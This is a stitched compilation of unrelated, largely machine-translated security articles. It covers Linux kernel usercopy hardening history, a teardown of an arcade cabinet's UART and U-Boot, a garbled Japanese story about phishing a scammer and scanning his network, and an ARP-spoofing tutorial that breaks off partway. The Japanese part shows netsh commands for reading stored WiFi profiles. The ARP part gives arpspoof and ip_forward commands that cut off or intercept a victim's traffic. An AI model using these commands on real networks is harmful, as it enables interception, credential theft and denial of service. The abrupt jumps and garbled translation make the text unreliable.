check_object_size() 來自頂層的USERCOPY 功能的有限版本。不會對其返回值進行檢查,因為它不會像其他檢查那樣簡單地使復制失敗,而是在usercopy_abort() 中執行BUG() ,這在簡單的情況下將簡單地終止所涉及的進程,但在更複雜的場景中,例如在用戶空間副本周圍保留互斥鎖可能會導致某些代碼路徑鎖定,或者在panic_on_oops 場景中,會導致系統崩潰。

關於oss-sec 報告中討論的漏洞的實際影響,由於2018 年6 月的'fsi: Add cfam char devices'中針對Linux 4.19 引入了錯誤的CFAM 更改,因此cfam_write() 案例將進入copy_from_user()使用負長度,到達check_copy_size() ,其中__compiletime_object_size() 將返回4 用於復製到的__be32 數據變量,然後由於字節不是編譯時常量,將調用copy_overflow(),觸發其中包含的WARN(),並錯誤地中止複制操作。

為了簡潔起見,我們將把分析限制在這些方面,而不會深入raw_copy_*_user()本身的實現,它已經看到了自己的體系結構特定的發展,包括SMAP/PAN/等的引入和Spectre的發現。

在繼續之前要注意的最後一點是memset()只存在於_copy_from_user()中,內核註釋如下:

注意:1.只有copy_from_user() 在短複製的情況下將目標置零。 2.__copy_from_user() 和__copy_from_user_inatomic() 都不為零。 3.他們的調用者絕對必須檢查返回值。

注意__copy_*_user(兩個下劃線)和_copy_*_user(一個下劃線)是不同的。這個memset()的原因大概是為了解決Linux歷史上copy_*_user被標記為__must_check屬性之前的情況,要求調用者檢查返回值是否錯誤。考慮一種常見的情況,即從用戶級複製結構,內核更改了某些字段,然後將結構複製回用戶級。如果來自用戶級的副本或內核設置字段沒有寫入的區域被複製回用戶級,且未初始化,它們可能會將之前的內存內容洩漏到用戶級(信息洩漏)。用戶級還可以通過使部分複制範圍包括未映射的地址或操作的無效權限來強制低級複製例程中的部分失敗。

check_object_size() 的歷史這個檢查第一次出現在2016年6月的Linux 4.8版本中,通過commit“mm: Hardened usercopy”。它的提交信息如下:

“這是將PAX_USERCOPY移植到主線內核的開始。這是由CONFIG_HARDENED_USERCOPY控制的第一組特性。這項工作是基於PaX Team和Brad Spengler的代碼,以及Casey Schaufler的早期移植。其他非平板頁面測試來自Rik van Riel。”

check_object_size() 通過引用堆和其他元數據來工作,以便在運行時盡可能驗證複製操作是否發生在單個對象的範圍內。

儘管上面提到的提交消息是移植完整功能的開始,但在5年裡,除了禁用上述添加的頁面測試(grsecurity中不存在)以外,該功能沒有出現其他重大變化,這破壞了內核的幾個方面。 PAX_USERCOPY最初發佈於2009年,比有限的上游版本早了大約7年。強化後的用戶複製代碼沒有向後移植到早期版本,包括當時的活動LTS 版本。因此,頂層4.4 XLTS。

__compiletime_object_size()/__builtin_object_size() 的歷史__builtin_object_size()在2005年Arjan van de Ven編寫的FORTIFY_SOURCE補丁中首次使用。它最初關注的是FORTIFY_SOURCE在用戶級中也涵蓋的典型的str*和mem* api。 2009 年,在研究FORTIFY_SOURCE 在內核中的實際覆蓋範圍時,我將Arjan 的工作擴展到對更多函數執行檢查,並增加了它對一些[k|v]malloc 對像大小的編譯時知識,發現它只檢測了約30% 的涵蓋API 實例,不過從安全角度來看,是不太可能出現被攻擊的。

這些str* 和mem* API 的覆蓋範圍是在2017 年7 月為4.13 內核提交“include/linux/string.h: add the option of fortified string.h functions”,但沒有提及早期的工作,或者任何使用一些動態分配對像大小的改進知識,將其有效覆蓋率降低到我最初調查的30% 以下。

2009 年Arjan van de Ven 通過提交“x86: Use __builtin_object_size() to validate the buffer size for copy_from_user()”為x86 頂層添加了用於copy__*_user 的__builtin_object_size()。這個Linux 2.6.34的初始版本只覆蓋了copy_from_user,僅從2013 年10 月開始涵蓋copy_to_user,其中Jan Beulich 為Linux 3.13 提交了'x86: Unify copy_to_user() and add size checking to it'。它看到了許多重構,最終通過Al Viro 在2017 年3 月為4.12 版本的Linux 提交'generic .copy_._user primitives'產生了一個獨立於架構的變體。

正如我們之前提到的,__builtin_object_size() 是由編譯器提供的。 2013 年4 月,為了響應內核在某些GCC版本上現有使用內置函數產生的編譯時錯誤,Guenter Roeck 合併了“gcc4: disable __compiletime_object_size for GCC 4.6+”,使得整個練習對受影響的編譯器毫無用處版本(當時,最新發布的GCC 版本是4.8.0)。

“我想指出,儘管__compiletime_object_size() 在4.6 之前被限制為gcc,但整個構造將變得越來越沒有意義。 然而,我會質疑commit 2fb0815c9ee6b9ac50e15dd8360ec76d9fa46a2 ('gcc4: disable__compiletime_object_size for GCC 4.6+') 確實是必要的,相反,這應該像從一開始就在這裡做的那樣處理。”

然而,直到2016年8月Josh Poimboeuf的Linux 4.8 commit:“mm/usercopy: get rid of CONFIG_DEBUG_STRICT_USER_COPY_CHECKS”,對GCC=4.1和4.6使用__builtin_object_size()的限制被更改為GCC=4.1。在這次提交時,GCC 6.2是最新的編譯器版本。 Josh的提交也消除了啟用調試選項以獲得功能的需要。

綜上所述,在大約三年的時間裡,除了少數內核開發人員對內核進行檢查之外,用戶都沒有進行過有關操作。還應該注意的是,放寬對__builtin_object_size() 版本限制的4.8 提交從未向後移植到早期的內核,這意味著即使對於今天最新的4.4 XLTS 版本,任何涉及此的檢查對於幾乎任何現代用戶都是完全無實操可能性的。

你可能想知道,Clang在構建Linux時是如何發揮作用的,儘管谷歌在2018 年底開始使用Clang 構建內核的4.4 內核。 Clang 歷史上(甚至在最新版本中)偽造了4.2.1 的GCC 版本,因此不受這些更改的影響。

WARN_ON_ONCE 的歷史(bytes INT_MAX)這種檢查最早是Linus Torvalds 本人在2005 年2 月對2.6.11 內核通過BUG_ON() 對i386 進行的檢查。由於Andi Kleen 的提交“[PATCH] i386: Remove copy_*_user BUG_ONs for (size 0)”,兩年多後,這些檢查在2.6.22版本的內核中被刪除,並錯誤地解釋為“access_ok檢查這種情況,不需要檢查兩次”。這種解釋是錯誤的,因為雖然access_ok()確實有效地檢查了相同的情況,但BUG_ON()避免了後續memset()的執行,此後memset()就可以執行了。

在grsecurity 中,2.6.29 版本的Linux 在2009 年8 月時在Linux 支持的幾乎所有架構中安全地實施了此檢查,沒有BUG_ON()。重要的是,此檢查是在access_ok() 之前執行的,並且在copy_from_user() 的情況下避免了稍後將討論的易受攻擊的memset()。

在頂層,這項檢查是由Kees Cook 在2019 年12 月針對Linux 5.5通過“uaccess: disallow INT_MAX copy sizes”引入的。由於只有2 行更改,因此一個月後它被反向移植到Linux 5.4。然而,由於copy_*_user API 在前幾年經歷了相當大的變動,這個簡單的改變並沒有被進一步的反向移植,因此在上游的4.4、4.9、4.14或4.19 XLTS內核中也沒有出現,而這些內核現在仍然支持XLTS。

copy_from_user memset 的歷史在x86 上,至少可以追溯到2002 年之前,只有在access_ok() 成功時才對失敗的copy_from_user 進行歸零。例如當copy_from_user的大小不是編譯時常量時調用__generic_copy_from_user 的實現。後來,情況發生了變化,從Linux 2.4.3.4 的這個提交開始,從隨後的2.4.35版本的這個改變開始,該版本在access_ok()失敗時添加了歸零設置。

Andrew Morton在2003年6月發布了一個x86補丁,提到了在access_ok()失敗的情況下重新放置memset()。

最有趣的是,早在2002年的Linux 2.4.4.4中,ARM就有以下變化:

6.png

目前尚不清楚該評論是指它緩解了前面描述的安全漏洞還是引入了一個漏洞,該漏洞可能由攻擊者控制長度的緩衝區歸零,然而,這一改變確實帶來了一個潛在漏洞。考慮到由於計算中的一些溢出而導致n=-1 的情況:access_ok() 在32 位ARM 上將失敗,因為n 表示為添加到任何用戶空間的無符號值地址將涵蓋包括內核空間在內的範圍。 else 情況將被觸發,導致長度為0xffffffff 的memzero(),肯定會導致系統無法恢復的DoS。

目前該問題仍然存在於頂層中。

由於2019年添加的禁止INT_MAX副本大小的頂層檢查是在check_copy_size()中實現的,因此它失敗了,避免了對_copy_from_user()的調用,這將執行錯誤的memset(),與十年前的grsecurity更改相同。然而,由於未知的原因,在提交消息或它所引用的郵件列表討論中,根本沒有提到修復這個漏洞。

如上所述,由於頂層的更改未向後移植到4.4、4.9、4.14 或4.19版本種,因此可以將負長度傳遞給copy_from_user() 的內核版本中存在的錯誤可能會導致大量內存損壞並保證系統DoS。如果有人接受某些人提出的緩解建議並啟用panic_on_warn,2019年進行的頂層更改也會通過恐慌導致DoS。

這篇文章將以Arcade 1UP Marvel 街機為目標,重點介紹UART、UBoot 和USB。 Arcade1UP系列街機自從推出以來,已經有很多玩家在研究如何更換機櫃的內部組件來運行通用MAME 軟件。這篇文章將著眼於現有的硬件,並討論如何提取固件。

1.png

在這篇文章,我們將介紹以下內容:

1.拆卸現有嵌入式系統的支撐硬件;

2.通過IC 標記識別組件;

3.用萬用表測量連接器電壓;

4.邏輯分析儀的使用和設置;

5.UBoot分析和審查;

6.使用depthcharge 編寫UBoot 交互腳本;

這篇文章旨在介紹在目標系統上定位活動的UART、如何接近UBoot 控制台以及最終如何利用這兩個組件從我們的目標中提取閃存。閱讀本文後,你將熟悉屏幕實用程序depthcharge python3庫。

硬件概述在查看新目標時,首要任務之一是檢查可用的接口。在這個街機櫃的例子中,可用的接口乍一看是相對較小的。用戶通過操縱桿/按鈕和機櫃側面的USB接口與該設備進行交互。在機櫃的一側似乎很少有關於USB端口的信息。請注意,即使在網站上的圖片,也沒有USB端口。但是,在機櫃的一側有一個USB設備端口,用於提供外部控制器支持。在另一邊,我們有一個標準的耳機插孔。這兩個外設的行為與預期的一樣,USB端口可以用於連接外部控制器。

在一些老式的手機上,可以配置音頻插孔以在啟動時顯示串行終端。關於這方面的更多信息可以在這裡找到。不幸的是,在這個平台上沒有這樣的修改。

2.jpg

第一次查看這樣的PCB 時,我們首先要記下任何零件編號,看看是否能找到任何數據表。第一個讓我印象深刻的組件用藍色突出顯示。

3.jpg

它是RockchipRK3128,如果我們在網上搜索這個部件編號,我們會發現大量的相關信息。

中央處理器四核ARM Cortex-A7MP Core 處理器,一種高性能、低功耗和緩存的應用處理器;

完全實現ARM架構v7-A指令集,ARM Neon Advanced SIMD(單指令,多數據)支持加速媒體和信號處理計算;

圖形處理器ARM Mali400 MP2;

高性能OpenGL ES1.1 和2.0、OpenVG1.1 等;

內存8 kb的內部存儲器;

動態內存接口(DDR3/DDR3L/LPDDR2):兼容JEDEC標準DDR3-1066/DDR3L-1066/LPDDR2-800 SDRAM。支持32位數據寬度,2級(芯片選擇),總共2GB(最大)地址空間。

Nand Flash接口:支持8位async/toggle/syncnandflash,最多4個bank。 16位、24位、40位、60位硬件ECC;

eMMC接口:兼容標準eMMC接口,支持MMC4.5協議;

視頻MPEG-1, MPEG-2, MPEG-4,H.263, H.264, H.265, VC-1, VP8, MVC的實時視頻解碼器

音頻具有8 個通道的I2S/PCM:最多8 個通道(8xTX、2xRX),從16 位到32 位的音頻分辨率,採樣率高達192KHz。

具有2個通道的I2S/PCM:最多2 個通道(2xTX、2xRX),從16 位到32 位的音頻分辨率,採樣率高達192KHz。

連接SPI控制器:一個集成SPI控制器;

UART控制器:3個集成UART控制器;

I2C控制器:4個集成I2C控制器;

USB Host2.0:嵌入式1 USB Host 2.0接口;

USB OTG2.0:兼容USB OTG2.0規範,支持高速(480Mbps)、全速(12Mbps)和低速(1.5Mbps)模式;

依據上述描述,我們就了解了很多關於目標處理器的信息。我們現在知道了架構和可用的外圍設備和接口,這些對我們是有用的,因為它們可能概述未來的攻擊向量。重要的是要記住,在逆向工程過程的這個階段沒有太多的信息。在嘗試與目標進行交互之前,我們希望盡可能多地了解目標。

在CPU附近,我們有另一個以橙色突出顯示的組件。

4.jpg

此組件標記為SEC931 K4B2G1646F-BYMA,我們很幸運,從三星在此網頁中搜索此部件編號結果。本頁上的信息告訴我們這是一個2GB DDR3 SDRAM芯片。一個數據表也可以從這個頁面獲得,收集可用的數據表總是值得的。該芯片負責將可用內存擴展到CPU,並提供一個易失性內存源(RAM)。

到目前為止,我們已經確定了哪些可能是主CPU和外部RAM。然而,我們仍然缺少一種非易失性存儲。所以,接下來,讓我們檢查一下下面用粉色突出顯示的組件。

5.jpg

此組件被標記為Winbond 25N01GVZEIG,搜索此部件編號將導致我們找到此數據表。這部分是一個1G-bit串行SLC NAND閃存芯片。根據數據表,該芯片採用串行外設接口,兼容的電壓範圍在2.6V到3.3V之間。該芯片可能包含機櫃使用的大部分數據,並將成為我們提取固件的主要目標。

最後一個組件靠近GPIO線,標記為MIX2018A。這個組件不像我們看到的其他組件,我無法找到那麼多的信息。然而,該IC 似乎是音頻放大器。

回顧一下到目前為止我們已經確定的組件,有:

瑞芯微RK3128 ARM CPU;

三星SRAM 芯片;

華邦1GBit NAND 閃存;

MIX2018A 音頻放大器;

現在我們已經回顧了這塊板上的集成電路,讓我們看看板上的連接器,看看我們能學到什麼。

連接器分析現在我們已經記錄了主板上的分立組件,我們將嘗試識別主板上的外部連接器。首先,我們有桶形連接器;此連接器在下圖中以藍色標出:

6.jpg

該連接器用於為機櫃供電

在桶形連接器的右側,我們有一個微型USB 端口。這應該立即引起人們的注意,原因有兩個:

這不是一個面向用戶的端口;

這不是一個USB 主機端口,這是一個微型端口,表示USB 設備或可能是OTG(移動)控制器;

繼續向右,我們有兩行頂針。這些是通過早期圖像中顯示的灰色帶狀電纜連接的。該連接器連接到一個單獨的控制板,用於處理操縱桿/按鈕。

在我們的控制面板連接器之後,還有另一個四針連接器。有了這個連接器,它的方向就不那麼明顯了。例如,這個接口可以連接USB接口或耳機接口。我們可以用萬用表的連續性測試來確定這一點。連續性測試將檢查電流是否可以在兩個探頭之間流動,通常用以下符號在萬用表上表示:

8.png

我們可以使用這個模型來測試兩個組件是否連接,我把一根耳機線插入耳機插孔,把探針放在一個金屬環上進行測試。用另一個探針,我觸摸了四針連接器的每一個點,在其中一條線上,萬用表發出了一聲響亮的嗶嗶聲,讓我們知道這兩點之間存在連接。三個引腳中的每一個都與音頻連接器上的一個環相吻合,這是我們的音頻接口!

接下來,我們有用於顯示的連接器。

在顯示屏附近,我們有兩個兩針連接器,一個在右下角,用於為字幕的背光供電,另一個用於金屬外殼外部的開關。

11.jpg

下面的連接器看起來類似於音頻連接器,它是一個四針連接器,其線纜可以連接到控制面板。只有一個接口我們還沒有考慮,那就是在機櫃的一側的USB連接器。如果我們將萬用表設置為連續模式,並將這個連接器的插腳與機櫃側面的USB連接器進行測試,我們發現它們確實是連接的,這是我們的外接USB接口。

我們已經確定了所有必須斷開的連接,以便更好地查看電路板。因此,我們只剩下幾件事情要檢查。當檢查PCB時,要尋找的一件事是任何未使用的測試焊盤或通孔。

如上圖所示,我們可以看到我們有三組不同的未填充的標頭或焊盤。在PCB的頂部,我們有三個通孔,通孔用於在PCB的多層之間進行連接。在檢查嵌入式系統時,此類通孔通常是一個很好的起點,因為它們可能代表開發期間使用的調試頭。

另一個未填充的是由16個焊盤組成,由一個白色矩形和一個小圓圈表示。這組焊盤可能是用於該板上不需要的另一個集成電路。

最後,最後一組焊盤看起來非常類似於用於USB和音頻的連接器。當查看未使用的焊盤時,像這樣的四腳連接通常是通過UART調試控制台的候選者,我們將在下一節中檢查這些標頭文件並討論UART。

檢查調試標頭在查看上一節中指出的未知標頭時,我通常從測量電壓開始。我們可以使用萬用表來做到這一點。為了計算這些焊盤上的電壓,我們將萬用表設置為直流測量模式,並在將黑色探頭放在接地點上的同時探測感興趣的位置。引腳測量如下:

19.png

這些線路上沒有電壓,雖然這令人失望,但並不意外。如果這是一個有源UART 或另一個正在傳輸的數字信號,我們會期望看到電壓波動形式的一些活動。讓我們繼續討論另一個三針接頭。

20.png

當測量這個連接器時,我們的第二個引腳在啟動時波動很大,然後穩定在3.3V。

注意:在搜索串行端口時,你可能並不總是看到這種幅度的電壓波動。波動與信號的活躍程度直接相關,這意味著如果流量很少,你將幾乎看不到波動。如果你懷疑你有UART 接頭或某種數字接口,最好使用邏輯分析儀進行檢查。

我們看到了可能看起來像信號活動的情況(基於電壓波動)。接下來,我們將使用邏輯分析器檢查此流量。邏輯分析儀幫助我們將這些電壓波動轉換為人類可讀的1 和0 序列。為此,我們將使用母母跳線(female-female jumper wire)將我們的邏輯分析儀連接到我們的兩個興趣點,如下圖所示:

22.jpg

分析儀連接後,我們將啟動Pulseview,從下拉菜單中選擇我們的分析儀,該設備在pulseview 中顯示為“Saleae Logic”設備。這個分析儀的最大捕獲速率是24MHz,我們將使用它來進行分析。我們還需要指定樣本數量,我已經將其設置為500G樣本。

23.png

我們將通過點擊運行啟動捕獲,然後使用這些設置啟動機櫃。

24.png

這樣,我們就捕獲了一些流量,在我們進一步討論pulseview 之前,讓我們先介紹一下UART如何在信號級別上工作。我們已經確認有某種流量通過這些線路傳輸;接下來,我們需要了解更多關於UART 流量以及如何分析它的知識。

UARTUART代表通用異步接收發送器,UART是一種允許兩個設備通信的二線製異步串行協議。每一方所需的兩條線路是傳輸(Tx)和接收(Rx)線路。 UART可以用於嵌入式系統中的許多事情,包括與其他處理器通信、傳感器通信和調試訪問。 UART是一種異步協議,意味著不需要時鐘信號。相反,通信雙方都預先配置為以一定的速度進行通信,稱為波特率。波特率以每秒位數為單位。

UART報文/傳輸由以下字段組成:

25.png

即使有了上面的數據包定義,我們也很難確定我們的邏輯捕獲的內容。幸運的是,Pulseview 有一個我們可以利用的UART 解碼器。

解碼UART通信使用pulseview ,我們可以嘗試解碼這個通信,看看它是否確實是一個活動的UART。要設置解碼器,請點擊下面的綠色和黃色符號。這將打開解碼器選擇窗口,在搜索欄中輸入uart,並選擇uart解碼器。

26.png

接下來,我們需要配置UART解碼器。我們需要選擇適當的頻道並設置此解碼器所需的任何協議特定參數。可配置參數如下:

27.png

首先,我們選擇我們的Rx 線路作為我們包含流量的通道;在我們的例子中,這將是D1。對於所有其他字段,我們將保留它們的默認值、8 位數據寬度、無奇偶校驗等。

有一件事我們需要自己調查和了解:波特率。請記住,雙方必須提前就波特率達成一致,沒有協商/啟動順序。我們需要自己確定波特率,否則,解碼器將不知道如何正確地解析這些信號。要確定波特率,我們可以執行以下操作。

1.放大看起來是最小的脈沖之一;

2.使用Pulseview中的數據標記選擇脈衝寬度,點擊下面的按鈕啟用它們;

3.選擇小脈衝範圍後,Pulseview會自動計算頻率並給出赫茲的測量值,如下圖所示。

29.png

赫茲的周期是每秒,我們的波特率是每秒位數的度量。因此,如果我們突出顯示了通過導線發送的一個位,以及這個脈衝的頻率,我們也得到了波特率。

根據Pulseview,我們計算的頻率是115.384 kHz,換算成波特率為115385位/秒。熟悉調試控制台的人可能會注意到,這非常接近常用的波特率115200。我們把這個值代入解碼器,看看會發生什麼。

如果我們查看下面的屏幕截圖,可以看到擁有看似有效的調試日誌。

30.png

我們有一個活躍的UART並且知道它的波特率,但是現在我們需要找到一種與它接口的方法。為此,我們將使用樹莓派。更新後的機櫃管腳如下:

31.jpg

配置樹莓派樹莓派有多個UARTS可用,我們將使用的UART在下圖中突出顯示:

32.png

我們需要確保啟用了適當的設備樹blob來啟用這個UART。設備樹blob的目的是為內核提供一種方法來理解可用的硬件外圍設備。內核將在啟動時讀取這些二進制信息,並枚舉指定的外設。在對嵌入式Linux系統進行逆向工程時,提取這些信息是有益的,因為可以對這些信息進行反編譯,並勾勒出各種外設在內存中的位置。

樹莓派上所有相關的設備樹blob 都可以位於/boot/overlays/中。在這個文件夾中,你會發現用於多種硬件配置的設備樹二進制對象,一些用於特定的帽子(為Pi設計的定制pcb),可以連接到Pi,其他用於啟用各種IO外圍設備。我們可以使用raspi-config工具為UART外設啟用適當的DTB。

01序文

最近さまよっています。私はたまたま経験プログラマーを雇って経験を奪うのを手伝っていたグループの誰かに会いました。 0日を集めました。また、最近書く記事がないと感じたので、社会で大物を試しました。

まず、ルーチンについて尋ねて、彼が何をしているのか見てみましょう。

1049983-20240509092510634-1287905194.jpg

この人は、batchexpを書くのを手伝ってくれる人を見つけたいと思っています

4uhkku1b4vj1240.png

それから、私が書くことができるふりをし、最初にトリックを作り、役割に入り、相手に私が本当に書くことができると思わせます。

3upg5q22mks1243.png

ここで、私は自分でテスト用のサイトを構築したと言った後、シェルをリンクして試してみるように頼みました。大丈夫ですか!

eppljet5wb21246.png

その後、ターゲットはオンラインではなく、彼は私が構築したサイトを他の2人の男性に送りました。

hq5xhbhmtnb1247.png

02テクノロジー番号1

私のソーシャルワーカーの特定の従業員のこの従業員は、実際にテクノロジーを理解していませんでした。彼は私のフィッシングページを彼らの下の2人の技術者に送りました。そのうちの1つはおそらく仮想マシンであり、もう1つは物理マシンでした。だから私はここで釣りを一つしか持っていません。

ここにはオンラインで2つのPCがあり、統一された外部IPエクスポートとカンボジアディスプレイの場所があります。それが真実かどうかは不明です。この人は、私たちがスクリプトキッドハッカーと呼んでいるものです。彼のPCが持っている情報をお見せしましょう。

wyzcp33y2pb1248.png

スクリプトトロイの木馬

nk1t11idlnj1250.png

あらゆる種類の本名証明書

10o4erlsfxg1253.png

さまざまなバッチハッキングツール

lapga1xujz21256.png

ブラックハットSEOキーワード

n0hbiuzz3bq1258.png

侵入に使用されるさまざまなVPSマシン

512i2vyqniv1259.png

さまざまなWebサイトを説明します

nihjuzj42k41260.png

03イントラネットの拡張と浸透

各プロセスには、一連の環境変数とその値を含む環境ブロックがあります。環境変数には、ユーザー環境変数とシステム環境変数の2種類があります。

ARP -Aが見ました。次のマシンが発見されました。 10ユニット以上。

192.168.1.1 78-44-FD-FD-55-B9ダイナミック

192.168.1.13 6C-8D-C1-18-AA-B2ダイナミック

192.168.1.24 DC-2B-2A-C2-22-15ダイナミック

192.168.1.42 8C-8E-F2-4F-26-8Fダイナミック

192.168.1.54 B0-FC-36-29-F7-AB AB Dynamic

192.168.1.62 B4-D5-BD-B2-29-E2ダイナミック

192.168.1.81 38-53-9C-EE-31-7Eニュース

192.168.1.83 38-71-DE-13-4F-D8ダイナミック

192.168.1.92 CC-29-F5-BC-B8-C1ダイナミック

192.168.1.119 CC-44-63-18-08-4Cダイナミック

192.168.1.137 6C-72-E7-5E-F9-7Eダイナミック

192.168.1.143 A4-D9-31-89-3D-C4ダイナミック

192.168.1.149 48-3B-38-45-4D-22ダイナミック

192.168.1.171 CC-29-F5-78-70-87ダイナミック

192.168.1.178 00-B3-62-7D-F6ダイナミック

192.168.1.206 B0-FC-36-30-79-7Bダイナミック

192.168.1.233 E4-F8-9C-9F-61-FEダイナミック

192.168.1.243 DC-41-5F-05-FE-EFダイナミック

192.168.1.255 ff-ff-ff-ff-ff-ff-ff-ff-ff static

224.0.0.22 01-00-5E-00-00-16静的

224.0.0.252 01-00-5E-00-00-FC静的

224.210.34.44 01-00-5E-52-22-2C静的

239.11.20.1 01-00-5E-0B-14-01静的

239.255.255.250 01-00-5E-7F-FF-FA静的

255.255.255.255 ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-fif static

現在計算されているWiFiアカウントのパスワードを読んで読んでください

Netsh WLANはプロファイルを表示します

すべてのユーザープロファイル: 2317RL-5G

すべてのユーザープロファイル: 2317-ATA-5G

すべてのユーザープロファイル: Huawei-D91c

すべてのユーザープロファイル: TP-Link_6a68

すべてのユーザープロファイル: airtel-e5573-8318

すべてのユーザープロファイル: TP-LINK_88T8

すべてのユーザープロファイル: TB-Link-96A9

netsh wlan showプロフィール名='上記の画像の構成ファイル名を入力してください'

lis0oar2dy01261.png

情報を収集し続けます

これは、ネットワークに行くハッカーです

uedwaawjzdk1262.png

04 second

3日間の監視の後、ハッカーの収益性が発見されました。この人は、次のようにBCのプロキシ管理プラットフォームを開設しました。

3aevvqjec2u1263.png

彼のアカウントを分析した後、彼はそれがエージェントアカウントであることを発見しました。次に、分析のためにアプリをダウンロードします。上記はすべて、タイム宝くじと競馬のようなギャンブルゲームです。しかし、彼はレーシングカーです。背景は、多くのロボットを生成して、多くの人があなたと遊んでいることを作り出します。

uikcujnsz0j1264.png

ロボットだけで240以上に達しました

オンラインでは10人未満の実際のユーザーがいます

n5hmnmqdhwf1266.png

io1wxnzloal1267.png

ハッカーの毎日の仕事は次のとおりです。

最新のUEDITORアップロード脆弱性、IIS7.5の脆弱性の解析、DEDECMSの脆弱性、およびその他のバッチの脆弱性など、0Dayの脆弱性を通じて、

最も一般的に使用されるツールは、バッチツールです

djs3qzjlphm1269.png

flsxoprnuyr1272.png

hlx03ciraww1275.png

次に、BCページをアップロードし、ユーザーにアプリをダウンロードしてから、エージェントとして行動している部屋に入ります。このようにして、部屋のユーザーが充電するお金はエージェントにカウントされ、それによって収益性を達成します

現在のところ、ハッカーはまだIIS7.5の解像度の脆弱性を実行しています。

qizshbihwuy1277.png

UEDITORのアップロード脆弱性をバッチするために、300を超えるW URLがインポートされています。

元のリンクアドレス:https://www.hackdoor.org/d/216-bc

ARP攻击

协议简介

ARP全称为Address Resolution Protocol,即地址解析协议,它是一个根据IP地址获取物理地址的TCP/IP协议,主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
ARP地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存,故而攻击者可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。

工作原理

环境假设

主机A:

  • IP地址:192.168.1.1
  • MAC地址:0A-11-22-33-44-01

主机B:

  • IP地址:192.168.1.2
  • MAC地址:0A-11-22-33-44-02
工作流程
  • 第1步:根据主机A上的路由表内容,确定用于访问主机B的转发IP地址是192.168.1.2,然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址
  • 第2步:如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.2的硬件地址,从而将ARP请求帧广 播到本地网络上的所有主机,源主机A的IP地址和MAC地址都包括在ARP请求中,本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配,如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求
  • 第3步:主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中
  • 第4步:主机B将包含其MAC地址的ARP回复消息直接发送回主机A
  • 第5步:当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存,本机缓存是有生存期的,生存期结束后,将再次重复上面的过程,主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了
缓存机制

ARP缓存是一个用来储存IP地址和MAC地址的缓冲区,其本质就是一个IP地址->MAC地址的对应表,表中每一个条目分别记录了网络上其他主机的IP地址和对应的MAC地址,每一个以太网或令牌环网络适配器都有自己单独的表,当地址解析协议被询问一个已知IP地址节点的MAC地址时,先在ARP缓存中查看,若存在,就直接返回与之对应的MAC地址,若不存在,才发送ARP请求向局域网查询,为了使广播量最小,ARP维护IP地址到MAC地址映射的缓存以便将来使用
ARP缓存可以包含动态和静态项目,动态项目随时间推移自动添加和删除,每个动态ARP缓存项的潜在生命周期是10分钟,新加到缓存中的项目带有时间戳,如果某个项目添加后2分钟内没有再使用,则此项目过期并从ARP缓存中删除,如果某个项目已在使用,则又收到2分钟的生命周期,如果某个项目始终在使用,则会另外收到2分钟的生命周期,一直到10分钟的最长生命周期,静态项目一直保留在缓存中,直到重新启动计算机为止

ARP欺骗

ARP地址解析协议是建立在网络中各个主机互相信任的基础上的,它的诞生使得网络能够更加高效的运行,但其本身也存在缺陷,ARP地址转换表依赖于计算机中高速缓冲存储器动态更新的,而高速缓冲存储器的更新是受到更新周期的限制的,只保存最近使用的地址的映射关系表项,这使得攻击者有了可乘之机,可以在高速缓冲存储器更新表项之前修改地址转换表,实现攻击。
ARP请求为广播形式发送的,网络上的主机可以自主发送ARP应答消息,并且当其他主机收到应答报文时不会检测该报文的真实性就将其记录在本地的MAC地址转换表,这样攻击者就可以向目标主机发送伪ARP应答报文,从而篡改本地的MAC地址表,ARP欺骗可以导致目标计算机与网关通信失败,更会导致通信重定向,所有的数据都会通过攻击者的机器,攻击者再对目标和网关之间的数据进行转发,则可作为一个"中间人",实现监听目标却又不影响目标正常上网的目的。

欺骗实践

基本环境
  • 攻击主机:192.168.174.129 00:0c:29:39:be:eb
  • 普通主机:192.168.174.170 00:0c:29:08:ad:eb
  • 网关地址:192.168.174.2
断网攻击

Step 1:在攻击主机上关闭端口转发

#终止
echo 0 > /proc/sys/net/ipv4/ip_forward
#允许
echo 1 > /proc/sys/net/ipv4/ip_forward

etxq4ntprth14850.jpg

Step 2:在普通主机上查看当前ARP解析列表

oyqhf1kcxmj14854.jpg

Step 3:在普通主机上向百度进行ping试

ping www.baidu.com -t

55dzjphnsmj14856.jpg

可以正常访问百度:

uktgditaz2r14859.jpg


Step 4:之后在攻击主机上通过aprspoof进行断网攻击

Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

# 参数解释:
-i 指定使用的接口
-c 指定当还原arp配置时t使用的MAC地址,默认为使用原来的MAC(即当停止arpspoof命令后,默认取消毒化)
-t 指定要毒化的主机,如果不指定的话默认为局域网下所有主机
-r 双向毒化(host和target),从而双向扑捉数据(仅当同时指定 -t的时候才有效

#执行示例:
arpspoof -i eth0 -t 192.168.174.170 192.168.174.2

hgd4pzhiy5f14862.jpg

Step 5:之后可以看到ping请求超时,同时浏览器无法打开www.baidu.com,同时查看ARP解析表会发现网关的MAC地址被成功欺骗后设置成了攻击者的MAC地址

kewizouqhbw14864.jpgStep 6:之后中断攻击(由于我们之前没有指定-c参数所以会还原原先的MAC地址)upxsbvdcnqq14868.jpg

可以看到ping恢复正常,同时页面和ARP表也恢复正常

wujko52botv14870.jpg

图片数据

Step 1:开启端口转发,允许本机像路由器一样转发数据信息

echo 1 > /proc/sys/net/ipv4/ip_forward

jvtfzd1zrg114872.jpg

Step 2:在普通主机上查看当前ARP解析列表

czrvshc03br14874.jpg

Step 3:在普通主机上访问Web页面

emd1t11nhki14877.jpg

